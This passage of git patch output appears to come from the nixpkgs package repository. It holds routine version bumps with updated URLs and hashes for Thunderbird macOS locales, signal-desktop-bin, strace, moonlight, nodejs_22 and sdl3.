+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/kab/Thunderbird%20140.1.1esr.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "0e01d710f1bb3ac4441748f967a475f1c12444647d6d6eb67ed9605c2a77156d";
+      sha256 = "b4e97d509004c3c87fe1dd3ec2a45566d4b3b36de88fe41ea67a81864ba0958a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/kk/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/kk/Thunderbird%20140.1.1esr.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "afcc4d61b0a4733ed9addd694aca7e770c5db534b3a8bca905482dd45c2f03c5";
+      sha256 = "89a368c446c9a05fd32fc075106d49c9f9514f0439a67696d573695a050a2e24";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/ko/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/ko/Thunderbird%20140.1.1esr.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "2ddf7356e8f4e974a6b39599ca534334b651ba2ecf4f7617754e1245cce71083";
+      sha256 = "e06b01a16d1b236bf550a7c3646080845559abfeae21e6a3e3017a664864002d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/lt/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/lt/Thunderbird%20140.1.1esr.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "e3f5cdfcd01dd8b4f393a46cc5244acca057f0b149b36740ae08120721ea49eb";
+      sha256 = "369da53d044d5eb3e2ebaf3f7d03dce9777dd3052415330fbda37bf23f58cc98";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/lv/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/lv/Thunderbird%20140.1.1esr.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "43ad9897e00bf8c45cfcdd52f8a92cff6227802ae7d7127e712153540d6a1b9f";
+      sha256 = "533e1725b732c4ce9ccffe96c3748e481298d660d0fc190c03816c8929ca0848";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/ms/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/ms/Thunderbird%20140.1.1esr.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "893260d2fbfd0d86d0242237c015eeba0d10ddbfab273df6249be2ea6cf1617b";
+      sha256 = "a6452269b4d9248da45fb9b2b9740685d4abf7e32f4e1c52ca3360560e3c0a49";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/nb-NO/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/nb-NO/Thunderbird%20140.1.1esr.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "7f2237f0497b12b586e925e884e9759c1f973e3a59e24fb4cd79f113a2a10373";
+      sha256 = "59a82f4c4a20159eb7ed35882f87720a6c047a31e78e61a222c7480bcd1c711e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/nl/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/nl/Thunderbird%20140.1.1esr.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "5326cb77442d6c547fb0e2010947f3433056d1f241f8eed8430b1af18ab7dc5b";
+      sha256 = "c1032863f047cdcc59504027572c0719500a6388368f61578a937c0d11d316b1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/nn-NO/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/nn-NO/Thunderbird%20140.1.1esr.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "0d6f2dbe354e679d4feb02a4cb56769435a20c25fc62730e5c0ec366c860510a";
+      sha256 = "7617c3582e2a4d1bab02ee76ac4e2f6cb301f0d9f764cf178a8e5b135add80b9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/pa-IN/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/pa-IN/Thunderbird%20140.1.1esr.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "e6170af13789dccc75a8ecb157f5b0eafb98bffc0963e10232a477e04a82aaef";
+      sha256 = "8a014b567aca2f29be9b2b12235f3bce26e632292a3ec5dfb5abe02156c62d66";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/pl/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/pl/Thunderbird%20140.1.1esr.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "3ded93a7e935f40384ffabd539db653b1333537340c543ab672d8f2bd752a79b";
+      sha256 = "75459b73f1697314d7efd71f75c0fc722312a688f63cf408b11f63d228623065";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/pt-BR/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/pt-BR/Thunderbird%20140.1.1esr.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "483f1ca184263e15183b69e723c1bb0d91e44460eeb2610dc9e01534dd7a6fcf";
+      sha256 = "fe4643a894823a43b8026a71f1f2d98a83eaae61c295e2139d59325a5edeb78e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/pt-PT/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/pt-PT/Thunderbird%20140.1.1esr.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "3f151d6ace1296689a9e799ba603aa0c3d7f4a9d403d850697f620402b165626";
+      sha256 = "1d97c378456248514e8b0874c3c4e407c7a4b0a971d46d3e28ff9fd88ea03652";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/rm/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/rm/Thunderbird%20140.1.1esr.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "c6cf94d2a41ebdb82f6ff3fb8afd0f288f4333608f8d4134ccbf3a2fb4b9a97c";
+      sha256 = "9701c817cb919f0c75b08589837197f4c8d65c59c5fb2572014d14664eac04ca";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/ro/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/ro/Thunderbird%20140.1.1esr.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "815fa90ea0140a295e22e0c96c8fad12e65588cd1c3c63d045d65a29f408438c";
+      sha256 = "cfe268bfae42cf72baf53a65ab5b59f07c897e53650b8c4f7fc4e22e037cfe68";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/ru/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/ru/Thunderbird%20140.1.1esr.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "0e1e7ad53e63cb7aa861324fc501d3e49748168bcce0da3f943f7de18233c57c";
+      sha256 = "a904ded4e1e6554d8ec358a6355f44e091b2632595683c76dd1ebc1ed405e054";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/sk/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/sk/Thunderbird%20140.1.1esr.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "1f9b5b10cbecc8654722ea31d75a5c5ff64a5b894b27fa14d3ec749a57f9c276";
+      sha256 = "b0e5dde48ee7f62b94d88790e85cd39d4c43cea30bbff8c45dfd1d8e8ea2e007";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/sl/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/sl/Thunderbird%20140.1.1esr.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "10a132922864f0762c8efa63740227d2a3c6f9cb19ddfffd405690ecaa2e9765";
+      sha256 = "82922b0d994cea8f8f2746f729b06e827200801b3d7bfdfd52c043961630d6a5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/sq/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/sq/Thunderbird%20140.1.1esr.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "51fdc11dec939d838afedf1c4d11b713c7c92e67338c2bcbe900f95fbd104614";
+      sha256 = "2ba790ad85c6ee2902be523e324de55723f03185d75c3678f191fbba1150a550";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/sr/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/sr/Thunderbird%20140.1.1esr.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "b31f2a1b388176288af887966e94dd01ff4b8e1f130b4dd3f4abf83118b016ad";
+      sha256 = "7598622285914fde08afbf7e3bfd7a73d45e45babe026f66da8df49303c84226";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/sv-SE/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/sv-SE/Thunderbird%20140.1.1esr.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "eb0fb0c40ca617a81955056f127ad39f859e4fde4af2ac41e1fc3aaed4a082f1";
+      sha256 = "c1da913ad66d451e39745af397e778470cec80fa1defad493cd2dd820e7bc94e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/th/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/th/Thunderbird%20140.1.1esr.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "38284a1aee298b6882fa421a5db528a8471f9878752fa159845fce2a724d9b67";
+      sha256 = "a3a50dacb30e3fc60f8bf9e71ed1f2edc7442ff88e0ec55b8903fe083bc06991";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/tr/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/tr/Thunderbird%20140.1.1esr.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "9c2744698829c19651c3de84cee70ad2ce1652d2c42519ab29b5ab18ff9d9805";
+      sha256 = "882e37d632ab22d7dc27d46e29b37f772b4fe5d54d6b5029d73382fcb5473e46";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/uk/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/uk/Thunderbird%20140.1.1esr.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "b2b1854ba1695fbdc66e14a8dd98409a20becc48e0ddefeda94fd3ed8a63953a";
+      sha256 = "70885ce0f0060db46c3ccb808ddf2c15020b489ff856b43825d8f065cb43a9e7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/uz/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/uz/Thunderbird%20140.1.1esr.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "8ba55a0821749f09d2ff038a30a9a8a0e75266b3c6bc327daed02e3060c21953";
+      sha256 = "4dd5fa09a91df2c274d53f638ae925fb543a10d6e8e265d624c861ac99ef6fc5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/vi/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/vi/Thunderbird%20140.1.1esr.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "db2b83dc7e7fec6792aa0a6749e516e1e75f7fe9253a59ab74289bd55b4307c0";
+      sha256 = "8017586e7c3f025e4f9f17839f744fec8f5eedf2a8ead01628b2d8e96dd4e3bd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/zh-CN/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/zh-CN/Thunderbird%20140.1.1esr.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "0546cc58f6dedb258e6c01562099c93e373ba9f8b31c861976a8c99ab0776244";
+      sha256 = "e6d109cc54679a3dad37b183737762d74622629797896de20cc83752af3ae8a0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/zh-TW/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/zh-TW/Thunderbird%20140.1.1esr.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "ac8e771b637cf67ac40644bb55945c09c6affd6292a925410368c5bc243d1782";
+      sha256 = "4d4736b5d11221baea9d5b30a10506cadc2a99deb90181d0714d90b164474145";
     }
   ];
 }

From 9400ef329f8231301209b663bc8b95a479a7fbd6 Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Thu, 7 Aug 2025 16:14:28 +0200
Subject: [PATCH 3301/4511] signal-desktop-bin: 7.59.0 -> 7.64.0 (#422163)

* signal-desktop-bin: 7.59.0 -> 7.64.0

* signal-desktop-bin(aarch64-linux): 7.59.0 -> 7.64.0

* signal-desktop-bin(darwin): 7.59.0 -> 7.64.0

(cherry picked from commit fad04064f2b9821d88f5903c909db737549c7956)
---
 .../si/signal-desktop-bin/signal-desktop-aarch64.nix        | 6 +++---
 .../by-name/si/signal-desktop-bin/signal-desktop-darwin.nix | 4 ++--
 pkgs/by-name/si/signal-desktop-bin/signal-desktop.nix       | 4 ++--
 3 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/si/signal-desktop-bin/signal-desktop-aarch64.nix b/pkgs/by-name/si/signal-desktop-bin/signal-desktop-aarch64.nix
index ff66f0d21c8e..f13a40c87f29 100644
--- a/pkgs/by-name/si/signal-desktop-bin/signal-desktop-aarch64.nix
+++ b/pkgs/by-name/si/signal-desktop-bin/signal-desktop-aarch64.nix
@@ -1,7 +1,7 @@
 { callPackage, commandLineArgs }:
 callPackage ./generic.nix { inherit commandLineArgs; } {
   pname = "signal-desktop-bin";
-  version = "7.59.0";
+  version = "7.64.0";
 
   libdir = "usr/lib64/signal-desktop";
   bindir = "usr/bin";
@@ -10,6 +10,6 @@ callPackage ./generic.nix { inherit commandLineArgs; } {
     bsdtar -xf $downloadedFile -C "$out"
   '';
 
-  url = "https://download.copr.fedorainfracloud.org/results/useidel/signal-desktop/fedora-42-aarch64/09213968-signal-desktop/signal-desktop-7.59.0-1.fc42.aarch64.rpm";
-  hash = "sha256-nGpSWlTJ1M6UL7V3o57KByfh55LL/p3I9h+XmoJhuec=";
+  url = "https://download.copr.fedorainfracloud.org/results/useidel/signal-desktop/fedora-42-aarch64/09358233-signal-desktop/signal-desktop-7.64.0-1.fc42.aarch64.rpm";
+  hash = "sha256-VWDw1eSYze23obCU/R4chesJvZZo1JbDGvR82Jg99og=";
 }
diff --git a/pkgs/by-name/si/signal-desktop-bin/signal-desktop-darwin.nix b/pkgs/by-name/si/signal-desktop-bin/signal-desktop-darwin.nix
index d4344a3a30e3..0f6235e4eae9 100644
--- a/pkgs/by-name/si/signal-desktop-bin/signal-desktop-darwin.nix
+++ b/pkgs/by-name/si/signal-desktop-bin/signal-desktop-darwin.nix
@@ -6,11 +6,11 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "signal-desktop-bin";
-  version = "7.59.0";
+  version = "7.64.0";
 
   src = fetchurl {
     url = "https://updates.signal.org/desktop/signal-desktop-mac-universal-${finalAttrs.version}.dmg";
-    hash = "sha256-maBZqSklxa1Vg3U6xbQxYx+McPTWa4WdBCKh4tq6W4g=";
+    hash = "sha256-Ir0p2M3P8bUNi16i4aGO8RmUD20mYKbVD+4twHEOMJc=";
   };
   sourceRoot = ".";
 
diff --git a/pkgs/by-name/si/signal-desktop-bin/signal-desktop.nix b/pkgs/by-name/si/signal-desktop-bin/signal-desktop.nix
index 32f8f782b044..e6a4bd11bb3d 100644
--- a/pkgs/by-name/si/signal-desktop-bin/signal-desktop.nix
+++ b/pkgs/by-name/si/signal-desktop-bin/signal-desktop.nix
@@ -1,12 +1,12 @@
 { callPackage, commandLineArgs }:
 callPackage ./generic.nix { inherit commandLineArgs; } rec {
   pname = "signal-desktop-bin";
-  version = "7.59.0";
+  version = "7.64.0";
 
   libdir = "opt/Signal";
   bindir = libdir;
   extractPkg = "dpkg-deb -x $downloadedFile $out";
 
   url = "https://updates.signal.org/desktop/apt/pool/s/signal-desktop/signal-desktop_${version}_amd64.deb";
-  hash = "sha256-SgTbV7KrGVdN87hgfjxamKikBxVHPIiaXAV2K3kljsU=";
+  hash = "sha256-3mibhZJpY/yo4RzZ6LQbI5xUlGgK6zGtB48Q8yDgflc=";
 }

From 44b1d7c3620f2dde6feb3136af6568ecc4f28128 Mon Sep 17 00:00:00 2001
From: Sergei Trofimovich <slyich@gmail.com>
Date: Wed, 6 Aug 2025 06:12:10 +0100
Subject: [PATCH 3302/4511] strace: 6.15 -> 6.16

Changes: https://github.com/strace/strace/releases/tag/v6.16
(cherry picked from commit 045cfbcd8976c6dc77e67505b907bae554c0edc7)
---
 pkgs/by-name/st/strace/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/st/strace/package.nix b/pkgs/by-name/st/strace/package.nix
index 42ce3aecae21..bb08112461f0 100644
--- a/pkgs/by-name/st/strace/package.nix
+++ b/pkgs/by-name/st/strace/package.nix
@@ -11,11 +11,11 @@
 
 stdenv.mkDerivation rec {
   pname = "strace";
-  version = "6.15";
+  version = "6.16";
 
   src = fetchurl {
     url = "https://strace.io/files/${version}/${pname}-${version}.tar.xz";
-    hash = "sha256-hVLfqwirwioPIEjJj9lUH9TXG2iCUHlSeA2rfHxRL1E=";
+    hash = "sha256-PXrufk8ESy9n89UainbtoYB26fsndN5UrDUdd31Ov/o=";
   };
 
   separateDebugInfo = true;

From 9fb29b7b36affd58820391096bd1ab9260e0c841 Mon Sep 17 00:00:00 2001
From: isabel <isabel@isabelroses.com>
Date: Wed, 16 Jul 2025 00:01:16 +0100
Subject: [PATCH 3303/4511] moonlight: 1.3.22 -> 1.3.23

Diff: https://github.com/moonlight-mod/moonlight/compare/refs/tags/v1.3.22...refs/tags/v1.3.23

Changelog: https://raw.githubusercontent.com/moonlight-mod/moonlight/refs/tags/v1.3.23/CHANGELOG.md
(cherry picked from commit 74a4f8c287ed2c0b8bd1b244e63ba7f30ca33a85)
---
 pkgs/by-name/mo/moonlight/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/mo/moonlight/package.nix b/pkgs/by-name/mo/moonlight/package.nix
index ea7d0ad147f9..27bfe293adcf 100644
--- a/pkgs/by-name/mo/moonlight/package.nix
+++ b/pkgs/by-name/mo/moonlight/package.nix
@@ -8,13 +8,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "moonlight";
-  version = "1.3.22";
+  version = "1.3.23";
 
   src = fetchFromGitHub {
     owner = "moonlight-mod";
     repo = "moonlight";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-mn6f4ci5C2jkyxgmBHQ4dI9V0/20DlyS6EbQz4w7znc=";
+    hash = "sha256-LVXO+V182R2KmNfTJjpYx/yYk97+Kvzul7gzSM72JJM=";
   };
 
   nativeBuildInputs = [
@@ -28,7 +28,7 @@ stdenv.mkDerivation (finalAttrs: {
     buildInputs = [ nodejs_22 ];
 
     fetcherVersion = 1;
-    hash = "sha256-vrSfrAnLc30kba+8VOPawdp8KaQVUhsD6mUq+YdAJTY=";
+    hash = "sha256-gmv0W4PluHoiZRSAJuBTDo3CjmJOM1ZHFbxrt7CsJaE=";
   };
 
   env = {

From 3c619087358d322391ffd0a7a6a427c140c7916e Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 31 Jul 2025 15:47:32 +0000
Subject: [PATCH 3304/4511] moonlight: 1.3.23 -> 1.3.24

(cherry picked from commit fade5b24a8a6bff00ee80187e652b60d8b7608a2)
---
 pkgs/by-name/mo/moonlight/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/mo/moonlight/package.nix b/pkgs/by-name/mo/moonlight/package.nix
index 27bfe293adcf..a33f4c6d1a84 100644
--- a/pkgs/by-name/mo/moonlight/package.nix
+++ b/pkgs/by-name/mo/moonlight/package.nix
@@ -8,13 +8,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "moonlight";
-  version = "1.3.23";
+  version = "1.3.24";
 
   src = fetchFromGitHub {
     owner = "moonlight-mod";
     repo = "moonlight";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-LVXO+V182R2KmNfTJjpYx/yYk97+Kvzul7gzSM72JJM=";
+    hash = "sha256-qyKn4qHEpGqis82ALjsog0iH6nM8HKMl4y1KLazXT7I=";
   };
 
   nativeBuildInputs = [
@@ -28,7 +28,7 @@ stdenv.mkDerivation (finalAttrs: {
     buildInputs = [ nodejs_22 ];
 
     fetcherVersion = 1;
-    hash = "sha256-gmv0W4PluHoiZRSAJuBTDo3CjmJOM1ZHFbxrt7CsJaE=";
+    hash = "sha256-Ij2jc5K0WpIIeI/iKXAdU+fxyqkWpkCuQSNqHvhkQS8=";
   };
 
   env = {

From e1892e7efbd44e4932a37a29002614d89c2d2994 Mon Sep 17 00:00:00 2001
From: isabel <isabel@isabelroses.com>
Date: Fri, 1 Aug 2025 20:41:14 +0100
Subject: [PATCH 3305/4511] moonlight: 1.3.24 -> 1.3.25

Diff: https://github.com/moonlight-mod/moonlight/compare/refs/tags/v1.3.24...refs/tags/v1.3.25

Changelog: https://raw.githubusercontent.com/moonlight-mod/moonlight/refs/tags/v1.3.25/CHANGELOG.md
(cherry picked from commit 41698ced6cef1907110a641a8d14bda6b446f9f0)
---
 pkgs/by-name/mo/moonlight/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/mo/moonlight/package.nix b/pkgs/by-name/mo/moonlight/package.nix
index a33f4c6d1a84..b22688a1d1de 100644
--- a/pkgs/by-name/mo/moonlight/package.nix
+++ b/pkgs/by-name/mo/moonlight/package.nix
@@ -8,13 +8,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "moonlight";
-  version = "1.3.24";
+  version = "1.3.25";
 
   src = fetchFromGitHub {
     owner = "moonlight-mod";
     repo = "moonlight";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-qyKn4qHEpGqis82ALjsog0iH6nM8HKMl4y1KLazXT7I=";
+    hash = "sha256-raqn8TVqD/VFgPw6kiv69JoBmUUVp9Ltj9n2EeEg85U=";
   };
 
   nativeBuildInputs = [
@@ -27,8 +27,8 @@ stdenv.mkDerivation (finalAttrs: {
 
     buildInputs = [ nodejs_22 ];
 
-    fetcherVersion = 1;
-    hash = "sha256-Ij2jc5K0WpIIeI/iKXAdU+fxyqkWpkCuQSNqHvhkQS8=";
+    fetcherVersion = 2;
+    hash = "sha256-KZOAbU6IBytkZzwB8jbSwmlkM69uhjNUEKmIu5/DySI=";
   };
 
   env = {

From b92bf30d07a2e8b2fbee5cf33f594d9e55713595 Mon Sep 17 00:00:00 2001
From: isabel <isabel@isabelroses.com>
Date: Thu, 7 Aug 2025 14:48:13 +0100
Subject: [PATCH 3306/4511] moonlight: 1.3.25 -> 1.3.26

Diff: https://github.com/moonlight-mod/moonlight/compare/v1.3.25...v1.3.26

Changelog: https://raw.githubusercontent.com/moonlight-mod/moonlight/refs/tags/v1.3.26/CHANGELOG.md
(cherry picked from commit 285da4d2a8bf716d988728e4d68831f2e65cdfdb)
---
 pkgs/by-name/mo/moonlight/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/mo/moonlight/package.nix b/pkgs/by-name/mo/moonlight/package.nix
index b22688a1d1de..f21fcd84b5c9 100644
--- a/pkgs/by-name/mo/moonlight/package.nix
+++ b/pkgs/by-name/mo/moonlight/package.nix
@@ -8,13 +8,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "moonlight";
-  version = "1.3.25";
+  version = "1.3.26";
 
   src = fetchFromGitHub {
     owner = "moonlight-mod";
     repo = "moonlight";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-raqn8TVqD/VFgPw6kiv69JoBmUUVp9Ltj9n2EeEg85U=";
+    hash = "sha256-NcwRidwb/ask65LE86os4RkhyoPQo5sLu0sJs/NboK4=";
   };
 
   nativeBuildInputs = [
@@ -28,7 +28,7 @@ stdenv.mkDerivation (finalAttrs: {
     buildInputs = [ nodejs_22 ];
 
     fetcherVersion = 2;
-    hash = "sha256-KZOAbU6IBytkZzwB8jbSwmlkM69uhjNUEKmIu5/DySI=";
+    hash = "sha256-LUUpcC2eS8VvzguicIn9xsKql9w3533xxUJ+l7e7Anc=";
   };
 
   env = {

From fe6cb717e302cec1a96f1942ddb4c44b89f7d2eb Mon Sep 17 00:00:00 2001
From: Antoine du Hamel <duhamelantoine1995@gmail.com>
Date: Fri, 1 Aug 2025 00:32:49 +0200
Subject: [PATCH 3307/4511] nodejs_22: 22.17.1 -> 22.18.0

(cherry picked from commit 629f720b67025148a4e08ea15ea94327cf661a56)
---
 pkgs/development/web/nodejs/v22.nix | 16 ++--------------
 1 file changed, 2 insertions(+), 14 deletions(-)

diff --git a/pkgs/development/web/nodejs/v22.nix b/pkgs/development/web/nodejs/v22.nix
index ff3655c4db56..4300e2963713 100644
--- a/pkgs/development/web/nodejs/v22.nix
+++ b/pkgs/development/web/nodejs/v22.nix
@@ -14,15 +14,11 @@ let
     inherit openssl;
     python = python3;
   };
-
-  gypPatches = callPackage ./gyp-patches.nix {
-    patch_tools = false;
-  };
 in
 buildNodejs {
   inherit enableNpm;
-  version = "22.17.1";
-  sha256 = "327415fd76fcebb98133bf56e2d90e3ac048b038fac2676f03b6db91074575b9";
+  version = "22.18.0";
+  sha256 = "120e0f74419097a9fafae1fd80b9de7791a587e6f1c48c22b193239ccd0f7084";
   patches =
     (
       if (stdenv.hostPlatform.emulatorAvailable buildPackages) then
@@ -48,7 +44,6 @@ buildNodejs {
         hash = "sha256-hSTLljmVzYmc3WAVeRq9EPYluXGXFeWVXkykufGQPVw=";
       })
     ]
-    ++ gypPatches
     ++ [
       ./configure-armv6-vfpv2.patch
       ./disable-darwin-v8-system-instrumentation-node19.patch
@@ -56,12 +51,5 @@ buildNodejs {
       ./node-npm-build-npm-package-logic.patch
       ./use-correct-env-in-tests.patch
       ./bin-sh-node-run-v22.patch
-
-      # Fix for flaky test
-      # TODO: remove when included in a release
-      (fetchpatch2 {
-        url = "https://github.com/nodejs/node/commit/cd685fe3b6b18d2a1433f2635470513896faebe6.patch?full_index=1";
-        hash = "sha256-KA7WBFnLXCKx+QVDGxFixsbj3Y7uJkAKEUTeLShI1Xo=";
-      })
     ];
 }

From 205462f6f0e7f85a9e1963f2ab23c241827a8b5f Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Tue, 5 Aug 2025 15:45:01 +0200
Subject: [PATCH 3308/4511] sdl3: 3.2.14 -> 3.2.20

Changelog: https://github.com/libsdl-org/SDL/releases/tag/release-3.2.20
(cherry picked from commit d9e041f0e9b794413d392c8d4c704a0fae49b344)
Signed-off-by: Grimmauld <Grimmauld@grimmauld.de>
---
 pkgs/by-name/sd/sdl3/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/sd/sdl3/package.nix b/pkgs/by-name/sd/sdl3/package.nix
index edb4a3821e2f..c7934243d6a6 100644
--- a/pkgs/by-name/sd/sdl3/package.nix
+++ b/pkgs/by-name/sd/sdl3/package.nix
@@ -56,7 +56,7 @@ assert lib.assertMsg (
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "sdl3";
-  version = "3.2.14";
+  version = "3.2.20";
 
   outputs = [
     "lib"
@@ -68,7 +68,7 @@ stdenv.mkDerivation (finalAttrs: {
     owner = "libsdl-org";
     repo = "SDL";
     tag = "release-${finalAttrs.version}";
-    hash = "sha256-+CcbvF1nxxsVwuO5g50sBVGth0sr5WTFojSfT6B6bok=";
